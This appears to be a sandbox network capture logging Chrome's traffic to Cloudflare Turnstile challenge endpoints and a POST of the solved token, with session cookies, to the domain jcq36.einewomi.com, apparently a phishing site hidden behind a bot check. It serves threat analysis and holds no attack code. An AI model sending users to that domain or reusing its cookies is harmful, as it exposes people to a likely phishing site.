61 2f 45 72 59 Data Ascii: R+/AO6A/gGdnk2tkYCuwK+vEWE/wg5APj9/wX++7nCwHwAi0x9QMSAiUtJhs9KSlBLSMtRQYXEQMLTRtMOlEvICg9PQ8WJ0MTGic5XEphSRseMUVCUTYlPSlIOCcvLkAqYl01STZzM0dbV11WgDpYWIF0UVM/gGl7WUyLf2tbWltsaoCCaVOFaE2ZWpWgmlyea5aVZV2UaWSja6WMnYmmfnuiqrOQpo6pr6W3fX25wJK+s4OzxJiDqpmdha/ErY
2024-04-24 21:07:44 UTC	1369	IN	Data Raw: 42 4f 63 5a 48 65 62 57 35 75 6f 50 43 39 2f 72 38 2f 51 56 39 2f 50 34 41 78 62 32 49 42 6b 59 49 77 55 66 35 66 4d 79 39 50 41 74 4d 43 4d 73 4d 54 59 6f 49 66 34 5a 4d 2f 77 46 52 50 34 31 50 54 6f 6b 41 78 63 47 54 30 68 44 50 69 6b 70 48 31 49 4f 51 55 77 55 47 42 78 5a 45 46 51 2b 48 68 68 51 56 52 63 59 55 78 34 2b 53 56 70 4d 56 7a 70 49 63 45 46 65 5a 33 55 6e 50 32 30 34 57 6b 68 34 55 6c 45 33 64 56 70 51 53 30 46 6b 54 6d 4a 55 5a 55 4f 49 67 59 78 4e 6a 33 42 6c 58 35 4a 6b 69 6e 39 66 6c 6d 70 36 68 6f 68 7a 6c 31 56 39 6a 31 70 69 6c 70 70 78 6c 70 32 44 64 4b 57 47 70 57 64 6e 6d 59 4f 65 71 6f 61 70 72 4b 79 44 6a 35 43 76 72 59 32 6f 6e 5a 75 52 72 71 43 67 73 35 43 66 6c 49 53 71 6f 35 65 4a 6c 61 6e 42 6f 5a 79 77 72 36 32 67 74 4b 50 Data Ascii: BOcZHebW5uoPC9/r8/QV9/P4Axb2IBkYIwUf5fMy9PAtMCMsMTYoIf4ZM/wFRP41PTokAxcGT0hDPikpH1IOQUwUGBxZEFQ+HhhQVRcYUx4+SVpMVzpIcEFeZ3UnP204Wkh4UlE3dVpQS0FkTmJUZUOIgYxNj3BlX5Jkin9flmp6hohzl1V9j1pilppxlp2DdKWGpWdnmYOeqoaprKyDj5CvrY2onZuRrqCgs5CflISqo5eJlanBoZywr62gtKP
2024-04-24 21:07:44 UTC	458	IN	Data Raw: 78 66 32 41 64 6b 54 42 41 4c 65 41 52 49 46 48 75 73 4c 47 53 51 77 37 68 76 38 4b 67 6a 6e 43 77 34 49 42 68 4d 74 43 54 62 33 50 67 73 63 48 55 41 32 51 76 31 44 47 54 51 4b 43 51 51 6a 53 55 45 52 49 55 67 4b 54 44 64 59 46 78 45 6b 4a 44 46 64 57 6a 34 62 4f 55 41 61 48 69 34 67 4a 6b 4a 61 59 6a 5a 6e 4f 44 74 4b 4c 79 6b 6b 58 6d 74 31 63 6c 5a 6d 55 55 34 34 56 47 70 72 54 56 6d 42 4f 48 4b 42 66 55 41 39 56 6a 74 36 69 32 32 46 62 55 6c 6b 51 31 78 51 58 34 31 51 54 58 5a 68 59 33 53 52 56 4a 46 36 57 46 68 76 69 33 5a 65 6d 4a 42 37 69 48 4f 54 6a 57 69 47 61 36 5a 39 71 49 6d 55 63 4b 75 71 72 34 57 61 75 36 56 34 64 34 69 34 6a 5a 4f 73 65 38 50 44 6c 73 4b 4a 6e 72 7a 47 67 36 47 62 78 6f 75 6d 31 4d 37 55 71 4e 66 4f 6c 73 54 44 74 62 32 7a Data Ascii: xf2AdkTBALeARIFHusLGSQw7hv8KgjnCw4IBhMtCTb3PgscHUA2Qv1DGTQKCQQjSUERIUgKTDdYFxEkJDFdWj4bOUAaHi4gJkJaYjZnODtKLykkXmt1clZmUU44VGprTVmBOHKBfUA9Vjt6i22FbUlkQ1xQX41QTXZhY3SRVJF6WFhvi3ZemJB7iHOTjWiGa6Z9qImUcKuqr4Wau6V4d4i4jZOse8PDlsKJnrzGg6Gbxoum1M7UqNfOlsTDtb2z
2024-04-24 21:07:44 UTC	174	IN	Data Raw: 61 38 0d 0a 32 78 69 64 6e 64 7a 5a 44 78 50 67 47 74 2b 51 58 39 6c 52 44 78 30 59 6f 56 63 5a 58 5a 44 69 58 74 4f 5a 34 32 49 59 49 69 4e 68 35 68 34 6a 6c 46 72 5a 35 4b 56 65 33 57 5a 58 36 56 69 58 35 4f 6f 69 61 6c 38 72 48 6c 70 66 33 79 4d 66 70 43 42 67 6f 78 78 74 36 65 57 64 4b 61 31 72 61 75 58 71 72 79 54 77 49 47 31 76 63 57 67 79 59 6d 69 71 4d 32 4c 7a 5a 7a 51 6e 39 53 7a 7a 64 4b 54 31 39 6d 53 71 4d 57 75 75 36 33 66 33 4c 37 46 6e 37 72 56 76 73 58 6d 76 65 58 70 33 64 69 6f 77 4e 37 6f 30 0d 0a Data Ascii: a82xidndzZDxPgGt+QX9lRDx0YoVcZXZDiXtOZ42IYIiNh5h4jlFrZ5KVe3WZX6ViX5Ooial8rHlpf3yMfpCBgoxxt6eWdKa1rauXqryTwIG1vcWgyYmiqM2LzZzQn9SzzdKT19mSqMWuu63f3L7Fn7rVvsXmveXp3diowN7o0
2024-04-24 21:07:44 UTC	174	IN	Data Raw: 61 38 0d 0a 50 54 4d 30 37 44 30 30 4e 6e 59 76 64 58 53 7a 72 2b 34 75 66 54 33 38 2f 6e 64 31 66 50 55 2b 2f 66 57 32 77 2f 78 2b 2b 4c 74 46 4e 2f 53 42 39 59 49 45 65 62 56 44 74 2f 57 2b 39 54 6a 4a 42 6e 6c 4b 4f 66 34 2f 75 55 4f 4c 2b 6e 6f 35 79 55 4f 41 79 41 50 49 51 51 6a 4f 79 51 39 4a 7a 73 5a 51 44 6e 2b 4f 78 6f 32 2b 30 54 2b 4a 67 55 34 42 44 63 2f 4d 46 46 4d 44 43 4d 4d 51 43 30 78 57 52 5a 62 56 30 6b 58 47 6c 4e 4c 50 43 6f 69 55 78 30 6d 56 6a 46 66 59 30 55 37 4b 6b 30 2f 58 6b 68 7a 63 0d 0a Data Ascii: a8PTM07D00NnYvdXSzr+4ufT38/nd1fPU+/fW2w/x++LtFN/SB9YIEebVDt/W+9TjJBnlKOf4/uUOL+no5yUOAyAPIQQjOyQ9JzsZQDn+Oxo2+0T+JgU4BDc/MFFMDCMMQC0xWRZbV0kXGlNLPCoiUx0mVjFfY0U7Kk0/Xkhzc
2024-04-24 21:07:44 UTC	175	IN	Data Raw: 61 39 0d 0a 58 4e 6b 61 6d 56 72 62 6e 56 45 62 31 56 53 52 34 42 39 56 6c 68 73 57 59 4e 63 59 46 4a 37 61 30 70 72 62 45 35 47 66 6d 39 53 6a 6f 4a 70 56 56 64 77 6a 35 4e 63 6d 59 5a 71 61 33 31 55 6a 4a 53 63 58 33 47 58 6e 33 69 42 6f 47 69 6d 65 70 69 50 6a 6e 39 6d 70 70 4b 31 6b 48 4f 6f 6b 62 43 4e 69 35 53 74 6c 4c 32 67 6b 37 61 44 67 4d 47 38 68 73 4b 6f 79 59 32 73 78 4c 32 2f 72 5a 47 51 7a 4d 48 44 79 5a 58 4c 6a 72 33 5a 30 4a 76 52 77 62 62 53 74 61 36 37 74 4e 66 63 32 62 36 72 33 37 66 6a 36 74 0d 0a Data Ascii: a9XNkamVrbnVEb1VSR4B9VlhsWYNcYFJ7a0prbE5Gfm9SjoJpVVdwj5NcmYZqa31UjJScX3GXn3iBoGimepiPjn9mppK1kHOokbCNi5StlL2gk7aDgMG8hsKoyY2sxL2/rZGQzMHDyZXLjr3Z0JvRwbbSta67tNfc2b6r37fj6t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49745	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:44 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8799105f5a5e09f7/1713992859511/WtT2jcbnXI7j1g2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:44 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:44 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8799108b2eac09f7-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:44 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 35 00 00 00 34 08 02 00 00 00 a5 d8 e7 82 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR54IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49746	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:44 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:44 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:07:44 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: Fkx8sLG9hAqJOv9BRDAKGw==$fsn8cb39AJsazOmYcV8zRw== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8799108bf8070ad5-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:44 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49747	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:56 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31756 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 0156a4786a5aa7e sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:56 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 39 31 30 35 66 35 61 35 65 30 39 66 37 3d 2d 44 4e 64 6c 4b 39 5a 70 46 61 25 32 62 4e 4b 4c 44 63 48 43 37 72 34 35 72 24 63 70 33 48 33 47 64 4f 61 33 5a 33 52 64 43 4e 35 4b 4c 4e 33 2d 4b 33 41 4e 39 31 33 65 64 37 61 39 63 33 7a 39 64 50 44 34 33 6b 4a 66 33 39 36 39 33 43 48 33 72 64 39 35 58 35 78 4b 39 35 39 6a 33 49 4e 33 55 33 4e 61 33 71 54 50 43 39 44 33 79 33 6b 64 42 50 39 7a 6d 38 73 37 33 4c 64 4b 5a 33 6c 24 73 4b 5a 74 74 33 33 61 70 33 36 66 33 33 36 63 39 4e 33 71 64 33 6e 33 39 61 75 33 50 61 78 35 6c 39 67 33 2b 70 66 33 4b 52 77 24 54 63 55 33 39 4e 34 35 61 63 77 34 78 46 4b 30 76 52 35 4a 79 44 33 63 75 4e 33 43 69 31 39 37 46 74 67 52 63 78 4b 37 76 24 37 39 74 74 59 39 50 6a 72 37 33 7a 6f 6c 5a 57 71 77 7a 33 39 Data Ascii: v_8799105f5a5e09f7=-DNdlK9ZpFa%2bNKLDcHC7r45r$cp3H3GdOa3Z3RdCN5KLN3-K3AN913ed7a9c3z9dPD43kJf39693CH3rd95X5xK959j3IN3U3Na3qTPC9D3y3kdBP9zm8s73LdKZ3l$sKZtt33ap36f336c9N3qd3n39au3Pax5l9g3+pf3KRw$TcU39N45acw4xFK0vR5JyD3cuN3Ci197FtgRcxK7v$79ttY9Pjr73zolZWqwz39
2024-04-24 21:07:56 UTC	15372	OUT	Data Raw: 33 39 52 35 38 64 4a 4c 5a 4c 50 33 33 58 78 46 4e 61 33 2d 53 6e 53 30 45 43 5a 33 64 33 4c 33 35 64 39 70 33 63 33 4e 59 32 6f 4e 77 64 37 44 43 2b 33 2b 4c 37 70 33 46 64 38 33 33 34 33 48 33 76 33 43 34 43 4c 33 55 75 2b 4e 43 78 33 5a 64 33 70 39 46 33 43 33 63 70 39 45 33 6e 64 41 33 39 64 33 31 33 37 61 39 76 34 52 64 39 61 39 65 33 31 74 70 34 33 41 33 4a 64 76 45 33 2b 75 2d 48 31 35 39 34 33 74 64 2b 44 43 37 33 41 33 46 35 4b 4b 33 6d 35 50 64 43 41 64 7a 70 4b 72 39 6e 64 69 73 50 6a 75 48 33 70 64 4e 61 43 6e 33 30 33 39 4e 33 74 64 43 64 2b 70 39 64 33 64 64 46 74 33 74 64 4a 64 37 44 39 55 33 66 34 37 34 39 55 70 74 4a 24 73 33 6f 5a 32 73 46 34 4b 30 33 49 4a 24 73 4b 5a 33 6c 33 76 34 33 74 64 69 44 2b 24 43 37 33 32 64 41 4e 43 31 33 36 Data Ascii: 39R58dJLZLP33XxFNa3-SnS0ECZ3d3L35d9p3c3NY2oNwd7DC+3+L7p3Fd83343H3v3C4CL3Uu+NCx3Zd3p9F3C3cp9E3ndA39d3137a9v4Rd9a9e31tp43A3JdvE3+u-H15943td+DC73A3F5KK3m5PdCAdzpKr9ndisPjuH3pdNaCn3039N3tdCd+p9d3ddFt3tdJd7D9U3f4749UptJ$s3oZ2sF4K03IJ$sKZ3l3v43tdiD+$C732dANC136
2024-04-24 21:07:57 UTC	1182	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: kVka0xEyF7NZdRPsECjc3llSKyUNXw1XGTANec4iCiM5nSC1WPiLKGGT1SPX+NsM0gLs1jOO+yKtM+u+IOsCQkt2Yy9UEgekvm/uGnOpBdLjLwj8x3/g5HaXC7C0rmcx$+wdI90q1ypw1ctGDKoAZlA== cf-chl-out-s: ghQI0T2PqkjKU6jtAGUPTUpX25BBSJDh67/u86Z/zFCJTqeoS/izxPJz2ZAgVb0DDjv1/BbCVt4YmRjHx2Mr1A8uFhmKZzJYm2bq8cgaS3rUXhFYd8Dpl7gPb6g1KP0Ys+lYzsnfr/PmpyngSkD3rVfoOMWNDJu/9MCiPNl9g3gIS23amrpfezJ8U4wzbnId7o14pPpVHnIwHKym1Ytrr2/tvM7vUkA5WqI+zmSYhFYOjTzJDGDV+svdEAJ+J5VmIiZdbKlf2mcb5vNRgaTKnLXrm5uKKFsRTCOeNE47tfFEimqZ1mNXYeznmVdY2+TTlzeP9SvFfo2qWoyVk2lHfxsSh8h/BIm8hg+HJc0WSQyYEDVxDQskWMDVD/M3paViOKI4i+9xsHInPqFGdE+3nv3nOW957ErX7BOHpFYrPJzKjQ/7qhXSSLa5V2p5++FdVCz/nDnnHSoOMeEEunNxIjoatcz3H61Y3a5HSCKZ8IrNhSNhEF5y1m4PnL3X+pgfdLIMt6lheahQ98Vs22sT7va85C2E1gfX473dP+5ltjCEXC9a5hpee2NMZhPCjA3Wiu/K9yfOX2w0KUAPB1vQpkmOIJ67uSqUGFJhKv+vwmft2lGSrFrIphz6WKWnDTbqURhxx28cEARnijVHZ1yUXnTEAoa3yoUqotkl88d6T5ib1VVV2mwFP52wuwHyerHZg+wHRXVlMc0fMwdZTdkP6w==$MU8BFmACAApjiSLB7Tsz/Q== vary: accept-encoding Server: cloudflare CF-RAY: 879910d8be3e09f7-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:57 UTC	187	IN	Data Raw: 64 36 30 0d 0a 77 4a 5a 2f 79 36 4c 41 72 6f 6d 38 69 71 36 45 74 4d 6a 4b 71 37 4f 68 6b 36 53 53 6d 36 69 39 6d 62 54 4b 74 4d 43 6a 32 62 57 33 77 36 54 6c 78 72 33 6b 79 65 4c 49 36 4d 54 65 72 2f 48 4d 34 72 50 31 77 75 72 4c 36 63 33 7a 30 51 4c 61 76 37 36 33 43 4d 4f 36 35 65 48 55 76 75 6a 4a 43 41 33 75 36 68 50 6b 41 65 2f 79 7a 2b 72 6a 38 39 54 74 48 50 63 55 33 43 45 62 41 79 41 6f 2b 66 49 6f 47 2f 30 49 37 65 6e 74 49 51 66 6f 46 4f 34 70 36 43 48 78 4c 66 45 73 4c 44 6b 6e 4d 44 68 43 47 43 30 6d 45 43 4d 39 47 6a 49 66 50 53 30 62 44 41 Data Ascii: d60wJZ/y6LArom8iq6EtMjKq7Ohk6SSm6i9mbTKtMCj2bW3w6Tlxr3kyeLI6MTer/HM4rP1wurL6c3z0QLav763CMO65eHUvujJCA3u6hPkAe/yz+rj89TtHPcU3CEbAyAo+fIoG/0I7entIQfoFO4p6CHxLfEsLDknMDhCGC0mECM9GjIfPS0bDA
2024-04-24 21:07:57 UTC	1369	IN	Data Raw: 30 62 51 52 41 31 4e 45 6b 4a 52 78 49 61 46 30 67 37 57 56 70 4a 48 56 6c 45 50 53 52 54 49 47 59 6c 4e 45 5a 6a 50 55 39 44 55 47 63 6b 52 30 31 64 5a 55 4a 42 64 31 70 62 63 46 4a 2f 65 6d 41 2b 51 56 64 4e 54 59 42 6d 56 46 46 32 52 6c 68 32 65 45 31 68 57 6c 42 69 5a 59 35 66 56 47 69 4a 62 57 36 53 66 70 70 35 6b 57 6d 67 62 35 46 30 6b 36 4a 77 59 59 64 68 6d 49 52 6c 61 49 32 6e 6f 4c 53 63 71 6f 2b 50 71 36 75 70 74 34 71 61 66 71 74 36 74 70 53 79 6c 36 43 41 68 58 36 2b 6e 48 32 59 76 4b 36 6f 6a 38 36 4a 6e 4d 75 66 73 4d 50 4c 32 4d 2f 4d 74 72 65 64 32 39 6e 58 74 4f 4b 37 76 36 44 67 34 64 6d 39 36 4f 75 72 77 63 58 76 78 4d 57 73 33 38 65 7a 37 4d 72 57 7a 74 54 30 2b 37 66 59 31 39 4c 6a 37 72 2f 5a 39 4c 30 45 41 2b 6e 61 34 77 51 44 2b Data Ascii: 0bQRA1NEkJRxIaF0g7WVpJHVlEPSRTIGYlNEZjPU9DUGckR01dZUJBd1pbcFJ/emA+QVdNTYBmVFF2Rlh2eE1hWlBiZY5fVGiJbW6Sfpp5kWmgb5F0k6JwYYdhmIRlaI2noLScqo+Pq6upt4qafqt6tpSyl6CAhX6+nH2YvK6oj86JnMufsMPL2M/Mtred29nXtOK7v6Dg4dm96OurwcXvxMWs38ez7MrWztT0+7fY19Lj7r/Z9L0EA+na4wQD+
2024-04-24 21:07:57 UTC	1369	IN	Data Raw: 6d 57 46 4d 75 4c 56 5a 63 58 44 45 59 49 54 30 37 4c 47 41 79 4d 7a 46 58 51 55 6f 30 61 32 67 39 4a 7a 6c 62 53 79 74 7a 62 45 6c 41 64 47 64 58 4e 45 56 4a 58 6a 64 73 61 31 74 4d 57 6e 42 61 55 56 46 68 5a 30 4e 34 56 6c 68 48 55 57 6c 75 58 49 42 75 61 56 43 48 59 6d 6c 6b 64 58 70 75 61 47 46 75 62 57 31 36 64 59 4e 77 61 58 5a 32 59 34 57 43 67 6d 65 63 6e 49 4b 6e 6a 6e 61 6c 68 70 4f 6d 6c 5a 79 32 76 4a 61 75 67 4c 65 57 6f 61 2b 52 70 4b 61 55 68 34 4c 45 7a 4b 37 4e 70 49 2b 6d 6e 63 32 30 31 5a 61 6b 79 71 37 4a 70 73 72 51 31 4a 4c 58 6d 38 44 67 31 62 47 79 6f 4e 7a 59 71 2b 65 71 33 36 2b 75 73 4f 58 51 35 4c 2f 50 37 76 66 50 72 4f 37 34 78 74 48 67 75 4e 67 44 31 75 37 36 31 4e 4b 2f 42 75 6b 4c 2f 67 66 62 2b 51 49 49 79 4e 4d 55 42 63 Data Ascii: mWFMuLVZcXDEYIT07LGAyMzFXQUo0a2g9JzlbSytzbElAdGdXNEVJXjdsa1tMWnBaUVFhZ0N4VlhHUWluXIBuaVCHYmlkdXpuaGFubW16dYNwaXZ2Y4WCgmecnIKnjnalhpOmlZy2vJaugLeWoa+RpKaUh4LEzK7NpI+mnc201Zakyq7JpsrQ1JLXm8Dg1bGyoNzYq+eq36+usOXQ5L/P7vfPrO74xtHguNgD1u761NK/BukL/gfb+QIIyNMUBc
2024-04-24 21:07:57 UTC	506	IN	Data Raw: 47 6c 31 53 57 42 38 37 57 46 6c 44 4e 56 59 33 52 46 68 58 54 45 67 37 58 55 4a 68 50 55 78 56 53 30 42 52 4e 55 52 48 63 58 4e 62 66 47 41 36 57 47 39 77 56 57 35 79 66 55 57 4a 59 6e 68 5a 62 30 31 2f 59 6b 36 4e 67 6f 74 6f 65 48 46 70 6d 6e 79 4c 6c 4a 6c 5a 6b 58 4b 64 57 35 69 43 6c 6d 2b 61 5a 4b 6c 6c 68 58 32 4d 65 4a 69 50 70 61 2b 56 6c 58 61 33 70 61 75 6c 75 61 36 76 6c 4a 57 76 65 48 35 39 6f 70 47 44 6f 72 71 61 6f 35 6d 2f 71 5a 65 5a 71 59 32 6e 6f 71 2b 4d 71 4c 4f 77 30 4c 53 36 74 38 2b 61 72 64 4b 64 72 4c 75 39 74 72 7a 45 32 75 44 44 74 39 36 6b 72 72 66 4a 72 62 7a 51 35 38 48 55 31 75 75 31 35 63 6a 75 79 62 76 5a 32 63 33 54 30 4e 7a 68 32 39 62 37 35 65 76 54 41 4f 37 58 33 67 54 74 2f 76 44 74 7a 4d 6a 30 43 39 44 78 39 50 77 Data Ascii: Gl1SWB87WFlDNVY3RFhXTEg7XUJhPUxVS0BRNURHcXNbfGA6WG9wVW5yfUWJYnhZb01/Yk6NgotoeHFpmnyLlJlZkXKdW5iClm+aZKllhX2MeJiPpa+VlXa3paulua6vlJWveH59opGDorqao5m/qZeZqY2noq+MqLOw0LS6t8+ardKdrLu9trzE2uDDt96krrfJrbzQ58HU1uu15cjuybvZ2c3T0Nzh29b75evTAO7X3gTt/vDtzMj0C9Dx9Pw
2024-04-24 21:07:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49749	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:57 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:57 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:07:57 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 71g7dpoFnJ/LpWuXcN7tWQ==$PQ088n+VBVAM/DGDFXE78w== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 879910de19040ad5-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:57 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49748	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:57 UTC	1422	OUT	POST /dxYuNfPDDu8evm7k5QtzW8BRxjPpdbn HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive Content-Length: 1312 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryULqjUx400tABhrvL Accept: / Origin: https://jcq36.einewomi.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://jcq36.einewomi.com/3lwz8fh/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR0cTB3V0VubU9PdVF3cW1PejE0VVE9PSIsInZhbHVlIjoiQ01kcFZyaU9XYURQUkpDcFoxZTdMN00wZFVYREJVYzFSN1pEM28xOVBsY1VUS0R3RHZ2ZFp6Umt4ajlvN2xubkNJQ3p3T3M5ZWpMYmdGVS91VUxGbEthNW9WYTdnWUxlbzArQ2l6bloxU1RlYU8xaitZT0JldVpCeXB1Q3hEclMiLCJtYWMiOiIyYjAxMTYxZDQ0YTJkNjMzY2NmODNmNDBhYjkwMTM3MGRjNDZiNzkyMWY3N2ExMTM3NmI2OTg5NDQ2Yzk1MjY5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhmZU5mZmpLdlIxTVF6blZCWGZJUlE9PSIsInZhbHVlIjoiRTB0ZmJ3V2hLR2lRNHBYd3FWY2xLNWtma0xZcWVaOEFlWnp1VktwdnBYYWlBNkpaWC9zay9uMUMxckMxVWZIWkFUQnBZNmhyL29jVjBvb0FtQjZPTkw1YUcrMGxRU3J1VlIrQmY4VEgvQklHSzEzV2J5a0JxMno4UVNhaDJucDkiLCJtYWMiOiI4NzMyMGEyODMxMGM2OTIzMTM3ZTdhNWZlZWUzMDM5NzY5NzA4YjEyNjYyY2E4ZjI1NjYxZDI5Njc4NmY3YjNlIiwidGFnIjoiIn0%3D
2024-04-24 21:07:57 UTC	1312	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 4c 71 6a 55 78 34 30 30 74 41 42 68 72 76 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 65 77 39 44 35 4a 59 65 56 56 47 4a 77 55 70 72 48 61 53 45 78 6a 76 54 5a 38 46 37 5a 51 4d 47 4f 6d 53 6e 45 58 73 66 55 4c 47 46 57 64 6c 35 69 33 34 56 58 71 72 32 45 50 5a 36 6d 47 59 55 42 54 47 62 72 41 53 53 37 47 7a 45 52 6a 77 50 30 76 4e 6e 6c 5f 6f 50 43 47 6c 42 42 2d 79 6e 62 66 31 59 5a 61 6a 45 32 4e 4f 69 54 51 6e 5a 35 61 2d 42 4b 4b 49 65 4e 6f 69 47 4e 45 33 65 66 53 77 53 6b 47 73 52 79 6b 67 50 44 2d 46 43 6a 52 6d Data Ascii: ------WebKitFormBoundaryULqjUx400tABhrvLContent-Disposition: form-data; name="cf-turnstile-response"0.ew9D5JYeVVGJwUprHaSExjvTZ8F7ZQMGOmSnEXsfULGFWdl5i34VXqr2EPZ6mGYUBTGbrASS7GzERjwP0vNnl_oPCGlBB-ynbf1YZajE2NOiTQnZ5a-BKKIeNoiGNE3efSwSkGsRykgPD-FCjRm
